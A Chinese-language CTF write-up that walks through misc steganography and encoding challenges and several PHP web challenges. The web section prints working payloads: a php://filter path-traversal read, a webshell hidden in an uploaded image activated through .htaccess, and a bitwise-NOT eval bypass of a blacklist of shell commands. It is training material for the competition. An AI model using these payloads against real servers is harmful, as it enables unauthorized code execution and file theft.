misc
Pngenius
下载下来是一张图片,查看一些基本信息后什么都没有,扔到010里,搜索一些常见的开头,发现藏了一个压缩包 存下来,发现有一个flag.txt,要密码,把压缩包扔进010,看看是不是伪加密,发现不是,尝试暴力破解也不行,看看图片是不是进行了什么隐写,放到stegsolve中,发现密码,这里的密码中间的空格要去掉。
easyEncode
题目下载下来就是一个压缩包,放到winhex里看看是不是伪加密,发现不是,尝试暴力破解 打开文本发现是一串摩斯密码,摩斯密码解密得到一串16进制,再转换得到一串不知道是啥的码,在百度搜索后知道把\u00去掉后是16进制,那就都去掉再转换得到base64,再转换
你知道js吗
下载下来没有后缀,修改后缀.rar解压打开后有一堆文件,一个个打开查看,在document.xml里发现一长串base64解码后得到一串不知道什么的编码,百度搜索要用urllib.parse.unquote转码,如果直接用utf-8在线转换得不到下一步的密码,没搞懂怎么用的,先没写
StrangeTraffic
下载后很明显是一个流量分析,用wireShark打开后,不知道下一步该怎么办了,上网搜索,发现要对ModBus追踪流,前面的RGVzdDBnM3是flag格式前面几个的base64码,把下面的全部组合到一起得到:RGVzdDBnM3szMUE1QkVBNi1GMjBELUYxOEEtRThFQS0yOUI0RjI1NzEwOEJ9 解码得到flag
web
phpdest
看到require_once ,知道是文件包含,equire_once() 为了避免重复加载文件,/proc/self 指向当前进程的/proc/pid/ ,/proc/self/root/ 是指向/的符号链接,想到这里,用伪协议配合多级符号链接的办法进行绕过。 构建pyload: file=php://filter/convert.base64encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php 得到base64编码,解码得到flag
EasyPHP
<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;
}else{
echo "Try harder!";
}
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
);
$fl4g .= $dest0g3;
?> Try harder!
题目提示post一些东西
set_error_handler() 函数设置用户自定义的错误处理函数。 该函数用于创建运行时期间的用户自己的错误处理方法。 该函数会返回旧的错误处理程序,若失败,则返回 null。
所以让程序报错就会输出flag,post:ctf[]=2
SimpleRCE
<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>
被过滤了一堆东西,没有过滤~,%,但是还是不会写,百度搜索发现要用取反操作
使用PHP按位取反~绕过 由于取反之后会有大量不可显字符,所以我们同样需要将其url编码,然后当我们要用的时候,再利用取反符号把它们取回来即可
构建pyaload:
aaa=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);
这里尝试后发现不行,问题还没找到
funny_upload
打开后就是要上传文件,能上传图片类文件 尝试上传写入<script language="php">eval($_POST['shell']);</script> 的图片,上传成功返回路径
尝试上传.htaccess文件,写入内容:base64编码后的
QWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLXBocCAucG5n
可以上传成功 蚁剑连接找到flag
|